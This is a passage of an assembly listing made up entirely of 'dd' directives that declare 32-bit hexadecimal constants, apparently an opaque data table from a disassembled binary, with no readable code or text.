1CD16076h dd 0D3AA3Ah, 746E1249h, 0C51F5883h, 34FE5D00h, 6CF7142Dh dd 5C5F07AFh, 0A4D90AAAh dd 0A424838Eh, 1388DA83h, 6E489694h, 52BB0088h, 27467B28h dd 0E37909AFh, 80008E18h, 0D3A72CC2h, 2A5C7316h, 3BCB4A00h dd 1C4A5716h, 0C076D241h, 8B9FC62Ch, 0A003C282h, 65562E4h dd 23A2A869h, 7E7642h, 0F6166A58h, 0C74D198Dh, 4CB0591Dh dd 0D2493C40h, 70094AA0h, 965600C5h, 47C2EB5Eh, 0E2006875h dd 0F6523C54h, 0F0F893A4h, 9E7823h, 4B692AD3h, 7722C5C1h dd 0F605B20h, 18FB70A3h, 3D89F600h, 4E18815Eh, 8CE4C21h dd 0A041098Ch, 0F40454A6h, 2130903Dh, 0AB072881h, 678062C8h dd 24CBA5D0h, 239901D7h, 0E915FBACh, 2A5EC4DFh, 9013C1EEh dd 680093DBh, 0A797BC16h, 1FCCFAA5h, 80DDB591h, 0B81B98DEh dd 0D12410B2h, 0E600443Eh, 74481D7Ah, 0AEB60794h, 50E90772h dd 64DECAE2h, 33780902h, 83A6B58Bh, 982461A0h, 0E792Dh dd 0AE217729h, 88E6C06Eh, 801F833Dh, 44FC2F43h, 3D6268h dd 16BC932Ch, 0BD1AB839h, 5B1C6D00h, 92A9FE56h, 97260074h dd 8ACB3E6Ah, 6600DC2Ch, 9BADA562h, 0D947A3h, 2839FF6Eh dd 0BDAEE8FBh, 0A4249100h, 0D454601Ah, 9C8E002Ah, 0D6B54810h dd 4E00F401h, 2F68C322h, 79FFE7h, 9F412708h, 89A40DD8h dd 0D60B2B17h, 0B005400Ah, 5FA9FD01h, 84C4B2BAh, 7FF7034Eh dd 5B1A74Ah, 36C821C0h, 0A5386F07h, 0B270F92Ch, 127F3D2h dd 0EE6A45ACh, 20F1C485h, 0C300B6AAh, 97B7744Bh, 2C6B127h dd 6067E924h, 0CCA07BF3h, 0BE194776h, 0C155CE00h, 0B0A70BEEh dd 856A0596h, 409A048Bh, 0CC23B4C4h, 251EF144h, 0D928581Eh dd 4227671Eh, 60699A00h, 0A0F33533h, 240CBDBCh, 80048D5Fh dd 0DE18D57Bh, 0DC003C17h, 6D518CA7h, 0F239F34Ah, 681F4CB6h dd 5FB4FE07h, 7C80A9D7h, 0DA7B10Fh, 0F5798102h, 806F0A77h dd 1912A0E4h, 3E542438h, 0B35100D4h, 4D688B40h, 20FE5509h dd 0C0080E0Dh, 39C6B5D3h, 0D7280051h, 8689F9B8h, 400D05Ah dd 0E713883Eh, 0B4F079h, 734099EEh, 78828AE1h, 6092A348h dd 0D318A758h, 0A00801DBh, 0C0342988h, 7F90D895h, 0E2831F00h dd 337A8C03h, 2F78C1h, 4316D9B4h, 823512BAh, 53529A07h dd 421FBC7Eh, 0C0CD3AEEh, 0F2238Ch, 0CD361CCh, 1F9AC26Ch dd 3552FB16h, 0EEB11F00h, 485E5469h, 3607DCF9h, 0A1B7C716h dd 303A3832h, 0C40097D8h, 6BF1355Eh, 6F7E839h, 2D0AD215h dd 0FD1DD857h, 74C06597h, 93D1E4C1h, 68EB00ACh, 0B4AAFF19h dd 0C4B0970Ch, 0C0187700h, 0ADC37A5Ch, 5009006Ch, 6BC50634h dd 0D3004A70h, 3D0EA5B7h, 610382E4h, 9B179A7Ch, 0F307F899h dd 287A3576h, 0E0D648h, 944303EBh, 1C86B8FDh, 8FC1312Ah dd 4B817A96h, 0D8066372h, 0C5004368h, 0D5CBEF8Eh, 26E13A3h dd 2694DBB9h, 56E0F64Bh, 0F01DFE44h, 0C6808055h, 53234865h dd 0F47500DCh, 0C31901Eh, 7C0001CFh, 9C61F226h, 0DE5BCCAFh dd 9DBB8030h, 199B58CBh, 34F0EE06h, 29EB77h, 0B43BCEFFh dd 0F7337232h, 1F4EE53Dh, 0CDC3165Bh, 0F6D26FE3h, 24C80171h dd 683641D3h, 0AEE4F4B9h, 0EBFFC902h, 0EAFDCCE3h, 1983D51Ch dd 80A0010Fh, 86EE06AFh, 3144759h, 829713FCh, 411900A5h dd 26092B6Bh, 0F2005687h, 0B5CFFFF3h, 89BBBEh, 444DEB7Ah dd 666CA03Ch, 0F300BCF0h, 0CF64E7ABh, 9CB815h, 1C5B05C3h dd 9D171B2Fh, 627C5403h, 0D8CC886Bh, 3C1B4C9h, 990B9AE8h dd 31E001FCh, 0C818FFD6h, 0F3215B25h, 0B1DD0087h, 0F0FD2428h dd 0C4005C93h, 5A167450h, 0F186FCCFh, 181281E8h, 19DA8D09h dd 100024C2h, 0FE8AE357h, 9A0FBC79h, 46C500BCh, 0A4FF3383h dd 0ED0EF706h, 2FB31Eh, 0FD7A522Dh, 0EE1100BFh, 916A620h dd 0F90103B9h, 1CDD9FB5h, 0C422F397h, 0A26BD201h, 0DC922F08h dd 16009B55h, 4B5AB2A5h, 0B05E72FAh, 0D9151F29h, 366400E2h dd 0E9C68ECEh, 9A853Bh, 0F9CC570Eh, 0E5F7CB9h, 5312F4D2h dd 9F053CE9h, 89818084h, 6300D0C8h, 0D62CAC6Ah, 0FB386EB6h dd 1E208FD4h, 0C0877FBBh, 23A7D2FBh, 4C077059h, 38D5FA3Dh dd 3EB8B080h, 0CA63072Bh, 0B373FBEDh, 0CBC0BDCDh, 7D0314FAh dd 129EF726h, 0CE94D061h, 0BC1F3C22h, 0C3009CD8h, 4D516E58h dd 54005D45h, 0A17F4E09h, 53E39h, 0FA8F2D40h, 378EBBAh dd 731A3Fh, 4B66AC25h, 63704704h, 24E57E96h, 4AFCD07Ah dd 3B7CDCF0h, 0A1333D00h, 4EF6B444h, 0BC6F886h, 793A8E54h dd 2F7CCB00h, 6216657Eh, 45E15A6h, 0FA8C281h, 3160062Ah dd 9AF00ECh, 8482DB52h, 32005DC6h, 4C291450h, 4F2AA8h dd 0F0CD261Fh, 5A829A13h, 0B9EC0B00h, 5C8317Fh, 0C9380017h dd 738ED8EDh, 4100FC9Ch, 933D2B97h, 0EA11B5h, 0FDD43F5Bh dd 5588E9ADh, 0D186DD00h, 0ABA28A28h, 0BCFF1CF2h, 7B84FD13h dd 0C074AC5Eh, 388A2458h, 9C0C7300h, 3B1034B7h, 0E87F9068h dd 0F56400D8h, 83820F39h, 410074F2h, 0E1EDC92h, 2EAA90h dd 0F7473702h, 87A4218Ch, 30CFB10Bh, 0CA648098h, 3BD500Ch dd 0CD97B81Ch, 96E0F0DDh, 281DA09Ch, 1E849414h, 0C5C001ADh dd 983D2Dh, 17BEEA19h, 7C3F630Eh, 6D9E8B00h, 6F2F3AFFh dd 95AE00EBh, 2850ECB9h, 0CDE20D75h, 0FB2E611Eh, 0B7923240h dd 0BE4025h, 0DB124DB2h, 93AC241Fh, 1C5F7107h, 2561D048h dd 1070ABCAh, 58110735h, 0A04F782Dh, 0FE17E282h, 92CFE700h dd 143581B4h, 0C6F80051h, 5C55299Fh, 8E0018F6h, 5DD7E3A2h dd 0BFFA75h, 45E1D4D3h, 2FF2460Dh, 0F4E00780h, 0B42702C6h dd 66C55D49h, 180FDD20h, 432E00ABh, 0B0998A4Bh, 57E2D8F2h dd 981E3C3Eh, 0FB7A6041h, 0E4DB00DEh, 0A2069A2Dh, 0A417BE09h dd 690B214Ah, 0A3B60132h, 5880812Bh, 1CAECC66h, 800F624Ch dd 8338597Ah, 0D031DA19h, 422ED8Dh, 0D33BA14h, 0E96080EFh dd 602C3978h, 90DFCF0h, 0D2FC5873h, 0E2F30083h, 0F74F0F43h dd 0E1052EAEh, 58176867h, 0F0802480h, 0C48C0DA2h, 9FF07A70h dd 0DAC0695Ah, 9F8DD96Ch, 2C7F5Dh, 0B6285E5Fh, 10A554F7h dd 89392E18h, 0B1C511h, 43BB1CFAh, 0A5249776h, 8B818000h dd 27169605h, 673D01DAh, 60E34009h, 0ADE7FC24h, 4A0082E8h dd 0CEBF22C9h, 209E5B1h, 0B3169057h, 2BE07985h, 0C8042F7Bh dd 71552874h, 98A04C0h, 83410024h, 427FAEF6h, 44005E3Fh dd 2A9D1A5h, 0F00B0375h, 2F611CEAh, 0A00500D9h, 2E46C730h dd 80DFE03Fh, 409604A1h, 316ACAB8h, 0DAC86192h, 0E0B2802Eh dd 8288C5A6h, 3D140027h, 3534534Ah, 6239B710h, 0E7240075h dd 8D16A849h, 17F7298h, 99C76AA9h, 0D853877Bh, 0C400A47Ch dd 0E3E1C8E4h, 3B55891h, 64FC3E13h, 73D9BDAFh, 7B47D08Fh dd 0A900F47Ch, 96268E9Fh, 160B2945h, 67F6E9h, 4B32F7D6h dd 8312DAA3h, 0C6094314h, 0A6C8853Eh, 0B7A7ACC0h, 795741Dh dd 895ABCEFh, 47E44126h, 0F20820DDh, 0B35D3A09h, 1AA70798h dd 803AF40Ah, 18993528h, 4870242Eh, 860091F6h, 16F4EF56h dd 0A8032952h, 8AAD2665h, 739B90FAh, 931900A4h, 0A15CBAFBh dd 2703A9F7h, 0C516176Ah, 0DBAC00B2h, 0DAC1975Ah, 3A3B5103h dd 0B77000FEh, 39AC1C63h, 0FAE300ADh, 8C65A302h, 0CB3E6C08h dd 0B7F0801Fh, 0A805B098h, 6A92008Eh, 0F4CD207Ah, 0EB0F025Dh dd 828AA141h, 50132B3Ah, 79387444h, 0AE7000BEh, 0DC1B371Ah dd 60090F85h, 2759CAB6h, 4780F0D4h, 1C4149h, 4DDF4F5Bh dd 55468318h, 0C58DA02h dd 0B4EC48h, 0F690F8DBh, 0C875E300h, 6919CBDFh, 985092Ah dd 318E670Ah, 0B5BF7483h, 0FCD73026h, 0A8DDF080h, 4806CA67h dd 631D22D4h, 0A6AC0FB9h, 0D2003617h, 764C3803h, 0B8A40911h dd 6D9E4C3h, 0A87AB3Fh, 903ED854h, 9D20004Fh, 0D6C8BA35h dd 0F8BD0098h, 0B358CFC1h, 516021D8h, 0AA18E328h, 34A81E59h dd 8C53F2h, 3C9781E1h, 6B0A68D9h, 985C8EA9h, 0B7ECBF80h dd 1010B7Ah, 0A723AB1Bh, 0D9DECC24h, 3CCA212Dh, 0E4AF00BCh dd 0CFA4F209h, 105203ECh, 2857E825h, 0D3766001h, 0C86F2AE0h dd 1DE40CE8h, 3DC0508Ah, 0B54C7800h, 70170E31h, 4F792E60h dd 1C363Bh, 374D8981h, 29E22C92h, 0F685A007h, 0CB3074D5h dd 518825EBh, 32E8ACF5h, 984798CEh, 0E47651B7h, 0EC10EDF4h dd 86581850h, 308E623Ch, 0F0C77701h, 0F75351C4h, 0F8C1EE20h dd 0E1A0031Fh, 774EFED1h, 69C031C8h, 4590EB07h, 0B9C04796h dd 1C8A72Dh, 62191E65h, 68E628B0h, 0C5D700E0h, 0EAB23B4Dh dd 0F88000ACh, 0DAA2E0Ch, 9E094251h, 2FB022BFh, 4548C030h dd 0C094D68Eh, 13CB6110h, 5600F463h, 0D194177h, 67A7F9h dd 27C85AADh, 8DC6ED8h, 6855C03h, 0C14EF869h, 0C8689AC1h dd 2B29EA0Dh, 40DAE188h, 0A35A79FCh, 0FA1A1D24h, 8391830h dd 0D6FE00E1h, 9CE5B9D3h, 4A075844h, 0BC1456BBh, 13A79907h dd 77706F60h, 257500D7h, 85FB1C6Bh, 1D00F5C8h, 0FAEA2686h dd 1FED3920h, 22E4D3Bh, 7EEC9CB7h, 0D08C7C0h, 79E8F458h dd 16C7A5Ch, 0A61B82F5h, 14F4D044h, 23400057h, 797DA55Fh dd 0D0E85EAh, 0E221F27Bh, 0F897F5A6h, 0FB5A0720h, 0F171CDE5h dd 0C40C4A56h, 531433ACh, 40E59140h, 1D00EEFCh, 182AE27Bh dd 5B6A69h, 50CB66B5h, 312BF16Dh, 0DC7E0A00h, 104E735Dh dd 0A1CE076Fh, 30764ABCh, 0B2648DFh, 7393B224h, 2A8ACF00h dd 3F60D0h, 8319852h, 8DF468FBh, 6BBE2D00h, 749A16F5h dd 52550091h, 0B12EF661h, 40B8CC82h, 0E18843Fh, 0C2CF6323h dd 48BA9687h, 90199910h, 0A61515BCh, 9700FCECh, 0B80389F9h dd 0F40EF0C0h, 1AABC33h, 0B62D7E0Ch, 100C4E68h, 3C6862ECh dd 0C81D4D0Fh, 0C7DA61F4h, 5ED4529Ch, 2BA9001Ah, 0D075BE5Ch dd 0D1C0F50h, 68C0FB12h, 2F0873Ah, 0F1370533h, 42C736D2h dd 1726BFB0h, 3C23B848h, 50C66424h, 4AE07287h, 6C80C565h dd 0A7A0D2h, 7C1C018Eh, 0FB2A51EFh, 0DFCAFF0Ah, 0FE00C2E1h dd 4DCFBB5Dh, 0C3120130h, 6DB43CD8h, 8A51802Eh, 0F61DAD14h dd 808F265Eh, 0FF2D1FB8h, 35C0E200h, 9E234585h, 37886B00h dd 2D2AEE32h, 0EA783E1Bh, 0FDE0CB80h, 4ACE1F2Bh, 0B129F000h dd 9C075990h, 2DA800CDh, 6D974FCCh, 6B2BDC21h, 0C1006838h dd 7CA6CEF2h, 0DD030059h, 90D66ABEh, 403A6FD2h, 1015077Eh dd 4A9070D3h, 71E2C02Bh, 0D07CCAh, 0A9DE676Ch, 7BB01D54h dd 0BBC48100h, 0AE7D70FAh, 13A7C90h, 2A5A12Ah, 0EEACBD6Fh dd 0C988A80h, 0C1029C24h, 111CD24Fh, 0ABD6C046h, 106A0058h dd 5750E551h, 920FD316h, 4B38782Fh, 56C00155h, 5260CE97h dd 156D05CAh, 81A922C5h, 81FA35A0h, 84BDFC8Eh, 23D01A6Ah dd 0C0009586h, 0CED34206h, 0F8927530h, 7A79A21Ch, 0C215004Eh dd 68E4CFEAh, 12006B4Dh, 0E107C955h, 1F2CA459h, 0C0A38EC6h dd 62DBCFFh, 0D200F917h, 59C77EE0h, 0F129EBBh, 0B679E77Dh dd 30554885h, 0A783F510h, 0A60CC000h, 0F81054E3h, 0BA200C3h dd 711CE742h, 0EC3BA760h, 2DB20745h, 20AF803Ch, 18D0BD1Eh dd 64F50281h, 50AAA117h, 0EE3C6468h, 7A4AC240h, 123C9242h dd 1E3612F5h, 0F110029Eh, 601ADAh, 9D891932h, 0E4488031h dd 3DE40041h, 86EC29ACh, 773E5150h, 303931A6h, 9FE43F64h dd 73534C5Ah, 0A5D0F800h, 4FDCBC47h, 97288C2Eh, 0A913E600h dd 503861h, 2AC31845h, 8EEF39CFh, 20691D00h, 0A9E9B95Eh dd 0E1A100B7h, 2F0B8144h, 83141C3Dh, 9CCA15h, 8BC48E73h dd 347288h, 0B1FE970Dh, 6809B4B7h, 266EBA01h, 0DE74D0D6h dd 8F1160h, 0E61BDBCAh, 0C8326C53h, 0A00B2F76h, 0A1A5ADE8h dd 0F19F46E8h, 0F368FF4h, 0F744AB19h, 43DCEEE0h, 48E695ECh dd 0C8C1F009h, 3B5A002Eh, 622BFCh, 73CDB2C3h, 6C441560h dd 2E24C901h, 7D533120h, 8F22DCh, 97676E8Dh, 4E74A5B6h dd 0B065CE17h, 0F19BAD00h, 3BD1383h, 174543F4h, 90E72BFBh dd 1203BA1Ah, 3C08E800h, 0AEA61E05h, 246526FDh, 39EB00D0h dd 117A0151h, 3A47C104h, 34C0E743h, 6F7F814h, 630CBD6Ah dd 0A238DA3Eh, 43C00E5h, 0BC9E5271h, 1CF4A88Ch, 0D87C004Bh dd 53689AE4h, 80F4FE42h, 3AC8B600h, 0AEEE2C10h, 190B264Fh dd 16843F4Fh, 0B4058A57h, 0E21E2928h, 2F01F287h, 7E418054h dd 0EC6A60h, 10C406CDh, 0F9088230h, 1EAF9701h, 79FB5D0Dh dd 0DBD020h, 7F0E6BBDh, 0E84412C4h, 7777E3E8h, 0C8B6673Fh dd 1FA80124h, 45406670h, 0FC3058F5h, 79821FF3h, 3DA5E82Fh dd 0B9011FCDh, 0EAC75CD6h, 521C308Dh, 0BD30900h, 1A34EE2Dh dd 0AF2926F6h, 0B05F011Fh, 0EC1955DCh, 0D460E2F9h, 6A161398h dd 0FA660091h, 0A3D53135h, 0E7006512h, 0BF62D393h, 183969Eh dd 43541BAAh, 0E4E56D1Dh, 2502316Ch, 0A8356A40h, 858FF75Eh dd 7B9CFA80h, 0BB037274h, 0A2F3B5C9h, 0D4B6C091h, 0EA0400E0h dd 377054F7h, 65EAB25Dh, 0DAA11004h, 1C8021AFh, 166047E3h dd 41899383h, 0DF07C34h, 11DC403Dh, 0E9003B8Eh, 12F758CBh dd 0E0BE954Eh, 133A387Dh, 0D603BAB8h, 767016E8h, 282EF838h dd 0D2290C5h, 0D0DB002Bh, 0EE1358DCh, 0BD755CCAh, 0F7B00F1Dh dd 0A6457380h, 2A90398h, 4D55DBEAh, 88609ECEh, 18ECC66Ah dd 3A00517Eh, 8DE9030Fh, 35C2ABAh, 8AF2075Fh, 6FE286FCh dd 0A67FBC80h, 0AA601D27h, 2D72C011h, 74E300D0h, 71B15562h dd 85E43634h, 7E5A1100h, 1B3F78F5h, 0AF632E4Ah, 62F0358h dd 8E0022C1h, 472DD1E2h, 5039B8Fh, 651714D0h, 42FC00B6h dd 7730C46h, 9FF09490h, 54EDDE0Ch, 1C9B1006h, 0C0D94C3Fh dd 0EC1EAE97h, 875824B0h, 0D4880054h, 3C4368E3h, 0D1660044h dd 0DC61E757h, 20001140h, 1883BD71h, 0CFEC9D1Bh, 47A03361h dd 0C9F9874Ah, 53B86D63h, 1FE88EAEh, 0C050ED90h, 3EEECD92h dd 0FC0E7B27h, 404297E5h, 0A4AEA526h, 24F5006Fh, 1DAA4655h dd 5700BB4Ah, 74955BC1h, 16927h, 8DC2C4F4h, 0AED02056h dd 0E3BD2204h, 0A0A07DC6h, 0D39501A8h, 0E40F44FAh, 9CA0E38Ch dd 0C800B961h, 0B106B0E1h, 7F8789h, 36DA77E8h, 3281258Eh dd 43FC681Fh, 823DC540h, 90720C38h, 9EE80E30h, 42E3DC4Ch dd 0D0FEEA61h, 248C2600h, 67922FFh, 0A4380067h, 214F9E7Fh dd 0B259BB3Dh, 42983F70h, 1EBAC2Ch, 0B30BE9E0h, 9EFC206Bh dd 5664000h, 0F49CBB1h, 52103EA3h, 8390AA05h, 0CED480B0h dd 1801851Ch, 139341E3h, 84249EF0h, 501F03A4h, 0FD8A358Eh dd 0B59B560Bh, 0C4110001h, 0E1F273C8h, 5481E0h, 0CE07D285h dd 0A01FB1E8h, 96B3DD00h, 0A6AC68DEh, 0B86CEE44h, 1750024h dd 6F5AC2A3h, 7CB154E2h, 7ADB003Bh, 0D771A80Bh, 79EC005Fh dd 3E6FF01Ah, 0E4B2FBBBh, 0DCF5BC00h, 0D61D9183h, 2C13E804h dd 89C071F3h, 6CE19535h, 80C0624Bh, 4A9E0E45h, 44DEE55h dd 0DE1A31C2h, 34880C1h, 7A31112Eh, 0CC23118Fh, 2557A440h dd 60AB2E78h, 82138C64h dd 0AA5D20E0h, 76E602D4h, 0E0588959h, 5525B2h, 431B4A3Bh dd 3F9E413Eh, 9B2A7F01h, 5B30B4C0h, 1E5EB070h, 0C1708189h dd 99B14257h, 0D756D4EFh, 0C60B9800h, 7605CECFh, 3E7B00B7h dd 0E9A5055h, 3448D1CDh, 7F0074BCh, 69CC87Eh, 700569h dd 375330Ch, 21F7892Dh, 51E3CE00h, 388A9464h, 73A100BFh dd 5F4988B0h, 0C179C25Bh, 610F9E1Ch, 56875D45h, 133994A4h dd 533265h, 1126F678h, 2500E677h, 0A6D9028Bh, 1CC3ABBFh dd 29619F7h, 3A82A161h, 0CF66D040h, 71F52F5Ch, 9341472Dh dd 0EC788C4h, 89300EDh, 7A24B86Dh, 5F5F214Eh, 0DD053800h dd 3A812054h, 24B130A5h, 70A64010h, 3600A176h, 0CCCED879h dd 0B0F86A49h, 0FFA91385h, 0E4CF1CE9h, 8501BBC8h, 0DCF35E40h dd 91D4F8A2h, 0FBA90C0Fh, 0B68C4060h, 0B8C687h, 0C97FF614h dd 0FD1CAE39h, 17A78B1Ch, 2B8FD547h, 4DCABC60h, 0E60700A0h dd 0BA0F6A1Bh, 3809686Fh, 708389B4h, 0EF650078h, 30CEF714h dd 0A5007E6Ch, 15E0F695h, 4E75F9h, 60ACC045h, 39A0935Dh dd 1DC17200h, 111ED889h, 176B0106h, 19D28F16h, 0C07DF410h dd 0C38C2000h, 0E5E575Ah, 3C38586Dh, 39569D02h, 0A98736B1h dd 0F52080CCh, 6658AA52h, 86C2016Ch, 0A1E9C753h, 4B22D0h dd 1ACA4C8Ah, 0EFB67D0Eh, 0BB88EA00h, 56D015C3h, 3F3690CCh dd 0F90A2197h, 0FBE7BADh, 0CD249455h, 4DF080B9h, 6A0034E9h dd 767E7417h, 0E0DFFBEh, 624329AEh, 0B8192E40h, 8700CCA6h dd 0A008C005h, 9830E003h, 94560050h, 0C58144A9h, 7805B70Ch dd 0F88CB238h, 31CEC09h, 0C12BA5h, 717EC811h, 9842DD4h dd 7DC90A00h, 4F5FFB72h, 0C4E070h, 8078E30Bh, 0D4EFA2BCh dd 87CFC100h, 96E91672h, 0E7900022h, 21D3AB1Ah, 0BD001CF8h dd 0C2C68201h, 78BEDEF4h, 0B11909A3h, 148757D9h, 4260D180h dd 4E103416h, 0FC07E207h, 3160BE1Ch, 7F7DEE0Bh, 0BC54027Ah dd 0ADDD359Eh, 43E70C60h, 2F8BB107h, 181E0E4h, 0E2FC3CEh dd 0A3C00B44h, 9597EAEBh, 7541F403h, 0D818103Bh, 30B67805h dd 99703AADh, 0D900010Fh, 0AB097DA7h, 366274Ah, 0D6A5C3E5h dd 87AC8716h, 6C4600F4h, 0C0060E7h, 9FBCF597h, 49137Bh dd 3284BDB9h, 1C6542DDh, 0EE515D1Dh, 0B0910702h, 60AC8018h dd 0B046CCEBh, 0FE90144h, 485F8AFh, 0BFD8C8B7h, 84569500h dd 9E3DEC10h, 6F081D16h, 0D3864521h, 0E3C8C0DAh, 0BFE7667h dd 289DE201h, 0B457CEF1h, 1802E760h, 2848B381h, 173CF3EBh dd 0FC97000Ah, 616ABC03h, 0FD8C00FFh, 0DA694EE6h, 630096ECh dd 0CB20838Dh, 5C76010h, 4533F20Dh, 85CC408Bh, 287DA907h dd 6480CE4Ah, 4A77CF04h, 27490F8h, 6A9044A2h, 8890BA4Ah dd 25735D3Eh, 984028A6h, 70004702h, 4337D8D4h, 0BB77425h dd 0C131A717h, 57504080h, 0C94A7966h, 773ECC00h, 3B4729h dd 1A6FCC75h, 0DFF91E9Ah, 19803803h, 0F83276EBh, 579E5Fh dd 0D2DB9B48h, 0FCB6AC31h, 0D07FD4A1h, 0A53E197Ch, 80D09C23h dd 0AACA00B8h, 3C1AB392h, 98BE02E2h, 6F1615EBh, 0E959C4A0h dd 0F2609691h, 41DF5689h, 8D0A0FE4h, 0A8CFA760h, 23896BA7h dd 5BE09D81h, 0C5005FCFh, 0D02577A2h, 7B42DAh, 8F65062Ah dd 0E93E9247h, 0F694D10Eh, 6F1D601Bh, 1E418C13h, 85A067D2h dd 10445CAh, 0B6373CF4h, 0CDCBD0B4h, 0E57A2300h, 1154C6F1h dd 0A0997274h, 1271DDDCh, 0E0AB82h, 594288C0h, 5A001F63h dd 2E8DC71Bh, 3E523DADh, 0C40F34CCh, 0F4E04F44h, 0B21D3ED4h dd 20CBE605h, 64C8B0BDh, 0A0CF0087h, 977E839Ah, 0B61C6538h dd 0E800776Ch, 0C03E2988h, 0ECA500A7h, 18C1867Ah, 0A0B69DFh dd 0C0A65C10h, 0E4C51Ch, 2E7788FEh, 0C20C14EAh, 28004CB0h dd 0AA7AEB33h, 55D6455h, 75396CB2h, 5BB48091h, 9D3C99B9h dd 8216876h, 7B06621Eh, 31B856h, 97615490h, 9580CFC8h dd 0CBBCA00Eh, 8F0E4679h, 9FD34011h, 78946020h, 1ECE7DDBh dd 7DFD49ECh, 16750380h, 976CDFB8h, 0BA93E100h, 0A98A01D7h dd 0E8E70F8Eh, 0DC00A60Ah, 4CFEC361h, 8F6F4800h, 42746E10h dd 0AEE21E95h, 0BD778CCDh, 97312060h, 813980C3h, 1386120h dd 0F4D4F7E9h, 816B5864h, 0E8BC8A29h, 0AC243A15h, 8D200A0h dd 0A3ACBF99h, 0E774E261h, 6E06B9A0h, 0ACA4D42Ah, 0C2662118h dd 1C714261h, 40016CA5h, 7A0B0C6Ah, 0F67A67E9h, 0C055F300h dd 9384596h, 0FA8207DCh, 0DEB3F29Ch, 0EAB51B60h, 0F6019D69h dd 2C1AABFCh, 0E0DEB90Dh, 0E076D54Fh, 59F3A010h, 96D30038h dd 0E0B4E888h, 0C7185EBBh, 0B316F4DDh, 0C696C0EBh, 0D4C88C6Ch dd 7EA64F00h, 74BC5FB1h, 58DE013Fh, 259B59CFh, 514530B2h dd 13CCA70Eh, 1DDC20B9h, 3A9E724h, 0A5966001h, 0B986382h dd 3E1CE3FAh, 87472037h, 0DDE0C846h, 3FD82Eh, 0A20F8C93h dd 97BDCC9Dh, 8598DB05h, 8C40CA91h, 0C7901864h, 48942DB6h dd 0C2B18C68h, 10A14C30h, 6E1F6BF7h, 0C16031CBh, 5974AC7Fh dd 12909E01h, 20E723E8h, 0EACE30h, 5CC42899h, 2FECC182h dd 75A6E200h, 0D71A1052h, 0E761005Dh, 8146A42Dh, 0E348170Ch dd 8CA60AF0h, 4E5814BAh, 0A260B97h, 0E4607AEDh, 3005BBFh dd 9D83CC2h, 0DC2DB3h, 0BC26E26Eh, 0BD7B3064h, 6315DF06h dd 7BB88E1Bh, 7E5003D4h, 0A36D3644h, 0A971E902h, 3A09879h dd 0AFB8203Ah, 8618834Fh, 95198707h, 0FE40E4FAh, 0FB1C109Eh dd 81843A9Fh, 1E1D7FE6h, 0D1D1AA57h, 1B133CCh, 0CCE5963Bh dd 2CC3EE72h, 43D60C3Ch, 0F2CD5193h, 8606306Ch, 327A5B11h dd 8FA44600h, 7E857844h, 820600D7h, 278B67C9h, 251EE875h dd 84006014h, 409A8971h, 362100B7h, 0A1AE8299h, 0A75CE85h dd 147FB00h, 727F31A6h, 0D7F87Ah, 9E489B2Fh, 0BB6E99A4h dd 4C9B502h, 0A73D4B11h, 0F9A068F8h, 1334886h, 80C6B3F8h dd 6A0E0B30h, 44394C07h, 742FA2D1h, 3B3220h, 32B9F27Dh dd 0B77ED1C0h, 944E6E07h, 0A741F75Bh, 54388840h, 0A6C55301h dd 0FCBE0113h, 0CB58BA7Bh, 2F180114h, 0D5A65F2h, 0C38FE0h dd 77123DA4h, 217A2D19h, 6E7B130Eh, 91E88010h, 12B27F8h dd 0CC0A9A20h, 98029392h, 51211C08h, 0DB2B003Eh, 7D5611FCh dd 6D0EC3FDh, 40879A29h, 7ACFAA4Ch, 691E006Bh, 0BB984D0Fh dd 0D331FA2Ch, 375B703Ch, 4FDD4880h, 0CFAB9E56h, 3D13A9C0h dd 0C16D2FCAh, 529F9428h, 37508128h, 0E82B2966h, 20C82980h dd 93D38D0h, 7AC0FB07h, 2746FA39h, 87E0021h, 88321FD1h dd 7D146D03h, 0DE3886h, 3D5AA3B7h, 0C0659FC2h, 39223268h dd 0DD03F88Ah, 0C337FEEEh, 0AEBFA821h, 6F140CE8h, 871027E7h dd 94B02900h, 0D9FCDC18h, 32A200FDh, 25CEC63h, 5100CC30h dd 0D7EECBD6h, 48308h, 0B34C11Eh, 0B78D386Eh, 69FEC350h dd 0A6C6CD14h, 6E83FB04h, 1024A901h, 681F0218h, 0C9819E01h dd 73E4E3CCh, 0EFC80EAFh, 0F50057BCh, 53C4180Fh, 9EC21C03h dd 10CF3432h, 0AE4728h, 6C3BB588h, 0E9BD8186h, 5769F8h dd 0BA944F75h, 70837B4Dh, 6EFE3E03h, 0D8860D3Ch, 0F97DFBBh dd 4D34ABCAh, 96298C03h, 0D72DA8C0h, 0D6000FFCh, 0F4701A76h dd 5B4018h, 83E476Eh, 1F4983CAh, 65858003h, 0F08F505Fh dd 0C2C673h, 0BE762B34h, 0BA814155h, 7072DEAh, 93D7E48Fh dd 38F726h, 5B987C79h, 3F09A3E0h, 330CB74h, 0EEBC29E2h dd 63C202D5h, 4D227525h dd 0F55A9A80h, 6C7915F7h, 0CA19000h, 78FCF036h, 0E7EA377Dh dd 0B8E6D072h, 0F300FE63h, 340FE2DBh, 71D9D3h, 0F2D04709h dd 0D057E6Ah, 0C0F5D1FCh, 1600DD17h, 44D6799Ch, 32D2812h dd 0CFA5A4E4h, 0AFBB628Ch, 0C9E81BA8h, 312B9500h, 1181AC21h dd 0D3C33BC1h, 64D07300h, 0FF8072F3h, 0A63E0200h, 14BB320Dh dd 39590FBFh, 0FEA1A50Ah, 0C09AA9F1h, 240E847Bh, 2A6E6h dd 15A5D4E3h, 0A8FA3ACCh, 857C7F84h, 0DAD780F4h, 0ABFCBC82h dd 0E1990C06h, 11D39Ch, 0D87B5A49h, 4D78236Ah, 3FA5AE1Eh dd 0F57E0A00h, 3885E997h, 58D87945h, 0EC746B00h, 0F373A9B9h dd 0E5F758h, 0E13F6F2Dh, 500B8Dh, 9EFA134Eh, 0DA3D6ED1h dd 7F885550h, 0B9434C00h, 91119CE3h, 0C013005Ch, 375CF50h dd 1A0033D0h, 168AA19h, 7866606h, 880C48AEh, 753D90F3h dd 150025A6h, 0DA470533h, 0B49C77h, 5D88B908h, 0BFC67F69h dd 64F21E1Eh, 8A4965C0h, 0E6EB0C80h, 182F009Bh, 85DC07FEh dd 5017F58h, 0BB3C2857h, 136B878Dh, 0FC5E0760h, 7634F0CDh dd 8F0EBF0Ah, 0AF499627h, 0DD786024h, 1261A46Ch, 600748EFh dd 0A0EB7C64h, 4C168D04h, 0C880DF86h, 0F179E7h, 0AF459407h dd 7223284Bh, 52298F00h, 0ED4F251Eh, 0C4600774h, 30AB3F63h dd 0E5032FF2h, 0B8005C7Fh, 97ED46E4h, 0CA301Fh, 0B3503912h dd 82BA3A62h, 14C1D900h, 